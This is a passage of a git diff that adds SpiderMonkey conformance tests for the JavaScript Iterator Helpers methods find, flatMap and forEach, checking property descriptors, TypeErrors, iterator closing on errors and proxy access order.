+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/find/error-from-correct-realm.js b/js/src/tests/non262/Iterator/prototype/find/error-from-correct-realm.js
new file mode 100644
index 0000000000..b34408e853
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/find/error-from-correct-realm.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const otherGlobal = newGlobal({newCompartment: true});
+assertEq(TypeError !== otherGlobal.TypeError, true);
+
+const iter = [].values();
+
+assertThrowsInstanceOf(() => iter.find(), TypeError);
+assertThrowsInstanceOf(
+ otherGlobal.Iterator.prototype.find.bind(iter),
+ otherGlobal.TypeError,
+ 'TypeError comes from the realm of the method.',
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/find/fn-not-callable-throws.js b/js/src/tests/non262/Iterator/prototype/find/fn-not-callable-throws.js
new file mode 100644
index 0000000000..33d18b49cc
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/find/fn-not-callable-throws.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const iter = [].values();
+
+assertThrowsInstanceOf(() => iter.find(), TypeError);
+assertThrowsInstanceOf(() => iter.find(undefined), TypeError);
+assertThrowsInstanceOf(() => iter.find(null), TypeError);
+assertThrowsInstanceOf(() => iter.find(0), TypeError);
+assertThrowsInstanceOf(() => iter.find(false), TypeError);
+assertThrowsInstanceOf(() => iter.find(''), TypeError);
+assertThrowsInstanceOf(() => iter.find(Symbol('')), TypeError);
+assertThrowsInstanceOf(() => iter.find({}), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/find/fn-throws-close-iterator.js b/js/src/tests/non262/Iterator/prototype/find/fn-throws-close-iterator.js
new file mode 100644
index 0000000000..1393bee356
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/find/fn-throws-close-iterator.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestIterator extends Iterator {
+ next() {
+ return { done: this.closed };
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const fn = (value) => { throw new Error(); };
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+assertThrowsInstanceOf(() => iter.find(fn), Error);
+assertEq(iter.closed, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/find/length.js b/js/src/tests/non262/Iterator/prototype/find/length.js
new file mode 100644
index 0000000000..b182ca0e78
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/find/length.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ The `length` property of Iterator.prototype.find.
+info: |
+ ES7 section 17: Unless otherwise specified, the length property of a built-in
+ Function object has the attributes { [[Writable]]: false, [[Enumerable]]:
+ false, [[Configurable]]: true }.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype.find, 'length');
+assertEq(propDesc.value, 1);
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/find/name.js b/js/src/tests/non262/Iterator/prototype/find/name.js
new file mode 100644
index 0000000000..36d903b44c
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/find/name.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ `name` property of Iterator.prototype.find.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype.find, 'name');
+assertEq(propDesc.value, 'find');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/find/next-throws-iterator-not-closed.js b/js/src/tests/non262/Iterator/prototype/find/next-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..13c3195654
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/find/next-throws-iterator-not-closed.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestIterator extends Iterator {
+ next() {
+ throw new Error();
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const fn = x => x;
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+assertThrowsInstanceOf(() => iter.find(fn), Error);
+assertEq(iter.closed, false);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/find/proxy.js b/js/src/tests/non262/Iterator/prototype/find/proxy.js
new file mode 100644
index 0000000000..c24d787710
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/find/proxy.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+//
+// This test checks that %Iterator.prototype%.find only gets the `next` method off of the
+// iterator once, and never accesses the @@iterator property.
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class Counter extends Iterator {
+ value = 0;
+ next() {
+ const value = this.value;
+ if (value < 2) {
+ this.value = value + 1;
+ return {done: false, value};
+ }
+ return {done: true};
+ }
+}
+
+const iter = new Proxy(new Counter(), handlerProxy);
+assertEq(iter.find(x => x % 2 == 1), 1);
+
+assertEq(
+ log.join('\n'),
+ `get: find
+get: next
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: return`
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/find/return-undefined-if-none-match.js b/js/src/tests/non262/Iterator/prototype/find/return-undefined-if-none-match.js
new file mode 100644
index 0000000000..3e7364fa95
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/find/return-undefined-if-none-match.js
@@ -0,0 +1,11 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const iter = [1, 3, 5].values();
+const fn = (value) => value % 2 == 0;
+
+assertEq(iter.find(fn), undefined);
+
+assertEq([].values().find(x => x), undefined);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/find/short-circuit-on-match.js b/js/src/tests/non262/Iterator/prototype/find/short-circuit-on-match.js
new file mode 100644
index 0000000000..8ce7c5a354
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/find/short-circuit-on-match.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const iter = [1, 2, 3].values();
+const log = [];
+const fn = (value) => {
+ log.push(value.toString());
+ return value % 2 == 0;
+};
+
+assertEq(iter.find(fn), 2);
+assertEq(log.join(','), '1,2');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/find/this-not-iterator-throws.js b/js/src/tests/non262/Iterator/prototype/find/this-not-iterator-throws.js
new file mode 100644
index 0000000000..8e1d446705
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/find/this-not-iterator-throws.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const fn = x => x;
+assertThrowsInstanceOf(Iterator.prototype.find.bind(undefined, fn), TypeError);
+assertThrowsInstanceOf(Iterator.prototype.find.bind({}, fn), TypeError);
+assertThrowsInstanceOf(Iterator.prototype.find.bind({next: 0}, fn), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/find/value-throws-iterator-not-closed.js b/js/src/tests/non262/Iterator/prototype/find/value-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..23873c618a
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/find/value-throws-iterator-not-closed.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestError extends Error {}
+class TestIterator extends Iterator {
+ next() {
+ return new Proxy({done: false}, {get: (target, key, receiver) => {
+ if (key === 'value')
+ throw new TestError();
+ return 0;
+ }});
+ }
+
+ closed = false;
+ return() {
+ closed = true;
+ }
+}
+
+const iterator = new TestIterator();
+assertEq(iterator.closed, false, 'iterator starts unclosed');
+assertThrowsInstanceOf(() => iterator.find(x => x), TestError);
+assertEq(iterator.closed, false, 'iterator remains unclosed');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/flatMap/close-iterator-when-inner-complete-throws.js b/js/src/tests/non262/Iterator/prototype/flatMap/close-iterator-when-inner-complete-throws.js
new file mode 100644
index 0000000000..3a0bfcf167
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/flatMap/close-iterator-when-inner-complete-throws.js
@@ -0,0 +1,49 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: %Iterator.prototype%.flatMap closes the iterator when innerComplete throws.
+info: >
+ Iterator Helpers proposal 2.1.5.7
+ 1. Repeat,
+ ...
+ i. Repeat, while innerAlive is true,
+ iii. Let innerComplete be IteratorComplete(innerNext).
+ iv. IfAbruptCloseIterator(innerComplete, iterated).
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends Iterator {
+ next() {
+ return {done: false, value: 0};
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+class TestError extends Error {}
+class InnerIterator extends Iterator {
+ next() {
+ return {
+ get done() {
+ throw new TestError();
+ }
+ };
+ }
+}
+
+const iter = new TestIterator();
+const mapped = iter.flatMap(x => new InnerIterator());
+
+assertEq(iter.closed, false);
+assertThrowsInstanceOf(() => mapped.next(), TestError);
+assertEq(iter.closed, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/flatMap/close-iterator-when-inner-next-throws.js b/js/src/tests/non262/Iterator/prototype/flatMap/close-iterator-when-inner-next-throws.js
new file mode 100644
index 0000000000..a8f70497f7
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/flatMap/close-iterator-when-inner-next-throws.js
@@ -0,0 +1,45 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: %Iterator.prototype%.flatMap closes the iterator when innerNext throws.
+info: >
+ Iterator Helpers proposal 2.1.5.7
+ 1. Repeat,
+ ...
+ i. Repeat, while innerAlive is true,
+ i. Let innerNext be IteratorNext(innerIterator).
+ ii. IfAbruptCloseIterator(innerNext, iterated).
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends Iterator {
+ next() {
+ return {done: false, value: 0};
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+class TestError extends Error {}
+class InnerIterator extends Iterator {
+ next() {
+ throw new TestError();
+ }
+}
+
+const iter = new TestIterator();
+const mapped = iter.flatMap(x => new InnerIterator());
+
+assertEq(iter.closed, false);
+assertThrowsInstanceOf(() => mapped.next(), TestError);
+assertEq(iter.closed, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/flatMap/close-iterator-when-inner-value-throws.js b/js/src/tests/non262/Iterator/prototype/flatMap/close-iterator-when-inner-value-throws.js
new file mode 100644
index 0000000000..3b2f26b401
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/flatMap/close-iterator-when-inner-value-throws.js
@@ -0,0 +1,52 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: %Iterator.prototype%.flatMap closes the iterator when innerValue throws.
+info: >
+ Iterator Helpers proposal 2.1.5.7
+ 1. Repeat,
+ ...
+ i. Repeat, while innerAlive is true,
+ ...
+ vi. Else,
+ 1. Let innerValue be IteratorValue(innerNext).
+ 2. IfAbruptCloseIterator(innerValue, iterated).
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends Iterator {
+ next() {
+ return {done: false, value: 0};
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+class TestError extends Error {}
+class InnerIterator extends Iterator {
+ next() {
+ return {
+ done: false,
+ get value() {
+ throw new TestError();
+ },
+ };
+ }
+}
+
+const iter = new TestIterator();
+const mapped = iter.flatMap(x => new InnerIterator());
+
+assertEq(iter.closed, false);
+assertThrowsInstanceOf(() => mapped.next(), TestError);
+assertEq(iter.closed, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/flatMap/flatMap.js b/js/src/tests/non262/Iterator/prototype/flatMap/flatMap.js
new file mode 100644
index 0000000000..6acce22593
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/flatMap/flatMap.js
@@ -0,0 +1,12 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+let iter = [1, 2, 3].values().flatMap(x => [x, x + 1]);
+for (const v of [1, 2, 2, 3, 3, 4]) {
+ let result = iter.next();
+ assertEq(result.done, false);
+ assertEq(result.value, v);
+}
+assertEq(iter.next().done, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/flatMap/inner-empty-iterable.js b/js/src/tests/non262/Iterator/prototype/flatMap/inner-empty-iterable.js
new file mode 100644
index 0000000000..24fcc85c2c
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/flatMap/inner-empty-iterable.js
@@ -0,0 +1,38 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: %Iterator.prototype%.flatMap skips empty inner iterables.
+info: >
+ Iterator Helpers proposal 2.1.5.7
+ 1. Repeat,
+ ...
+ i. Repeat, while innerAlive is true,
+ ...
+ iii. Let innerComplete be IteratorComplete(innerNext).
+ ...
+ v. If innerComplete is true, set innerAlive to false.
+features: [iterator-helpers]
+---*/
+
+let iter = [0, 1, 2, 3].values().flatMap(x => x % 2 ? [] : [x]);
+
+for (const expected of [0, 2]) {
+ const result = iter.next();
+ assertEq(result.value, expected);
+ assertEq(result.done, false);
+}
+
+let result = iter.next();
+assertEq(result.value, undefined);
+assertEq(result.done, true);
+
+iter = [0, 1, 2, 3].values().flatMap(x => []);
+result = iter.next();
+assertEq(result.value, undefined);
+assertEq(result.done, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/flatMap/inner-generator.js b/js/src/tests/non262/Iterator/prototype/flatMap/inner-generator.js
new file mode 100644
index 0000000000..9589027b4b
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/flatMap/inner-generator.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: %Iterator.prototype%.flatMap innerIterator can be a generator.
+info: >
+ Iterator Helpers proposal 2.1.5.7
+features: [iterator-helpers]
+---*/
+
+const iter = [1, 2].values().flatMap(function*(x) {
+ yield x;
+ yield* [x + 1, x + 2];
+});
+
+for (const expected of [1, 2, 3, 2, 3, 4]) {
+ const result = iter.next();
+ assertEq(result.value, expected);
+ assertEq(result.done, false);
+}
+
+const result = iter.next();
+assertEq(result.value, undefined);
+assertEq(result.done, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/flatMap/length.js b/js/src/tests/non262/Iterator/prototype/flatMap/length.js
new file mode 100644
index 0000000000..d5f8a5021f
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/flatMap/length.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: %Iterator.prototype%.flatMap length value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+includes: [propertyHelper.js]
+features: [Symbol.iterator]
+---*/
+
+assertEq(Iterator.prototype.flatMap.length, 1);
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(Iterator.prototype.flatMap, 'length');
+assertEq(propertyDescriptor.value, 1);
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/flatMap/name.js b/js/src/tests/non262/Iterator/prototype/flatMap/name.js
new file mode 100644
index 0000000000..6cc6b98ef0
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/flatMap/name.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+/*---
+esid: pending
+description: %Iterator.prototype%.flatMap.name value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(Iterator.prototype.flatMap.name, 'flatMap');
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(Iterator.prototype.flatMap, 'name');
+assertEq(propertyDescriptor.value, 'flatMap');
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/flatMap/throw-when-inner-not-iterable.js b/js/src/tests/non262/Iterator/prototype/flatMap/throw-when-inner-not-iterable.js
new file mode 100644
index 0000000000..eb581936e1
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/flatMap/throw-when-inner-not-iterable.js
@@ -0,0 +1,64 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: %Iterator.prototype%.flatMap closes the iterator and throws when mapped isn't iterable.
+info: >
+ Iterator Helpers proposal 2.1.5.7
+ 1. Repeat,
+ ...
+ f. Let innerIterator be GetIterator(mapped, sync).
+ g. IfAbruptCloseIterator(innerIterator, iterated).
+features: [iterator-helpers]
+---*/
+
+class NotIterable {
+ next() {
+ return {done: true};
+ }
+}
+
+class InvalidIterable {
+ [Symbol.iterator]() {
+ return {};
+ }
+}
+
+class TestIterator extends Iterator {
+ next() {
+ return {done: false, value: 0};
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+const nonIterables = [
+ new NotIterable(),
+ new InvalidIterable(),
+ undefined,
+ null,
+ 0,
+ false,
+ Symbol(''),
+ 0n,
+ {},
+];
+
+for (const value of nonIterables) {
+ const iter = new TestIterator();
+ const mapped = iter.flatMap(x => value);
+
+ assertEq(iter.closed, false);
+ assertThrowsInstanceOf(() => mapped.next(), TypeError);
+ assertEq(iter.closed, true);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/Iterator/prototype/forEach/check-fn-after-getting-iterator.js b/js/src/tests/non262/Iterator/prototype/forEach/check-fn-after-getting-iterator.js
new file mode 100644
index 0000000000..2291c04664
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/forEach/check-fn-after-getting-iterator.js
@@ -0,0 +1,26 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class TestIterator extends Iterator {
+ next() {
+ return {done: true};
+ }
+}
+
+const iter = new Proxy(new TestIterator(), handlerProxy);
+assertThrowsInstanceOf(() => iter.forEach(1), TypeError);
+
+assertEq(
+ log.join('\n'),
+ `get: forEach
+get: next`
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/forEach/descriptor.js b/js/src/tests/non262/Iterator/prototype/forEach/descriptor.js
new file mode 100644
index 0000000000..b33be1e435
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/forEach/descriptor.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ Descriptor property of Iterator.prototype.forEach
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype, 'forEach');
+assertEq(typeof propDesc.value, 'function');
+assertEq(propDesc.writable, true);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/forEach/error-from-correct-realm.js b/js/src/tests/non262/Iterator/prototype/forEach/error-from-correct-realm.js
new file mode 100644
index 0000000000..38c8e9bb5c
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/forEach/error-from-correct-realm.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const otherGlobal = newGlobal({newCompartment: true});
+assertEq(TypeError !== otherGlobal.TypeError, true);
+
+const iter = [].values();
+
+assertThrowsInstanceOf(() => iter.forEach(), TypeError);
+assertThrowsInstanceOf(
+ otherGlobal.Iterator.prototype.forEach.bind(iter),
+ otherGlobal.TypeError,
+ 'TypeError comes from the realm of the method.',
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/forEach/fn-not-callable-throws.js b/js/src/tests/non262/Iterator/prototype/forEach/fn-not-callable-throws.js
new file mode 100644
index 0000000000..473789a6a2
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/forEach/fn-not-callable-throws.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const iter = [].values();
+
+assertThrowsInstanceOf(() => iter.forEach(), TypeError);
+assertThrowsInstanceOf(() => iter.forEach(undefined), TypeError);
+assertThrowsInstanceOf(() => iter.forEach(null), TypeError);
+assertThrowsInstanceOf(() => iter.forEach(0), TypeError);
+assertThrowsInstanceOf(() => iter.forEach(false), TypeError);
+assertThrowsInstanceOf(() => iter.forEach(''), TypeError);
+assertThrowsInstanceOf(() => iter.forEach(Symbol('')), TypeError);
+assertThrowsInstanceOf(() => iter.forEach({}), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/forEach/fn-throws-close-iterator.js b/js/src/tests/non262/Iterator/prototype/forEach/fn-throws-close-iterator.js
new file mode 100644
index 0000000000..1703673f0d
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/forEach/fn-throws-close-iterator.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestIterator extends Iterator {
+ next() {
+ return { done: this.closed };
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const fn = () => { throw new Error(); };
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+assertThrowsInstanceOf(() => iter.forEach(fn), Error);
+assertEq(iter.closed, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/forEach/forEach.js b/js/src/tests/non262/Iterator/prototype/forEach/forEach.js
new file mode 100644
index 0000000000..62ddce6eb7
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/forEach/forEach.js
@@ -0,0 +1,11 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const log = [];
+const fn = (value) => log.push(value);
+const iter = [1, 2, 3].values();
+
+assertEq(iter.forEach(fn), undefined);
+assertEq(log.join(','), '1,2,3');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/forEach/length.js b/js/src/tests/non262/Iterator/prototype/forEach/length.js
new file mode 100644
index 0000000000..9f2f9134f8
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/forEach/length.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ The `length` property of Iterator.prototype.forEach.
+info: |
+ ES7 section 17: Unless otherwise specified, the length property of a built-in
+ Function object has the attributes { [[Writable]]: false, [[Enumerable]]:
+ false, [[Configurable]]: true }.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype.forEach, 'length');
+assertEq(propDesc.value, 1);
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/forEach/name.js b/js/src/tests/non262/Iterator/prototype/forEach/name.js
new file mode 100644
index 0000000000..7c4964e696
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/forEach/name.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ `name` property of Iterator.prototype.forEach.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype.forEach, 'name');
+assertEq(propDesc.value, 'forEach');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/forEach/next-throws-iterator-not-closed.js b/js/src/tests/non262/Iterator/prototype/forEach/next-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..042b6d660c
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/forEach/next-throws-iterator-not-closed.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestIterator extends Iterator {
+ next() {
+ throw new Error();
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const fn = () => {};
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+assertThrowsInstanceOf(() => iter.forEach(fn), Error);
+assertEq(iter.closed, false);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/forEach/proxy.js b/js/src/tests/non262/Iterator/prototype/forEach/proxy.js
new file mode 100644
index 0000000000..9d50aed9fe
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/forEach/proxy.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+//
+// This test checks that %Iterator.prototype%.forEach only gets the `next` method off of the
+// iterator once, and never accesses the @@iterator property.
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class Counter extends Iterator {
+ value = 0;
+ next() {
+ const value = this.value;
+ if (value < 2) {
+ this.value = value + 1;
+ return {done: false, value};
+ }
+ return {done: true};
+ }
+}
+
+const iter = new Proxy(new Counter(), handlerProxy);
+iter.forEach(x => x);
+
+assertEq(
+ log.join('\n'),
+ `get: forEach
+get: next
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value`
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/forEach/this-not-iterator-throws.js b/js/src/tests/non262/Iterator/prototype/forEach/this-not-iterator-throws.js
new file mode 100644
index 0000000000..d47ba38960
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/forEach/this-not-iterator-throws.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const fn = x => x;
+assertThrowsInstanceOf(Iterator.prototype.forEach.bind(undefined, fn), TypeError);
+assertThrowsInstanceOf(Iterator.prototype.forEach.bind({}, fn), TypeError);
+assertThrowsInstanceOf(Iterator.prototype.forEach.bind({next: 0}, fn), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/forEach/value-throws-iterator-not-closed.js b/js/src/tests/non262/Iterator/prototype/forEach/value-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..28f1d64113
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/forEach/value-throws-iterator-not-closed.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
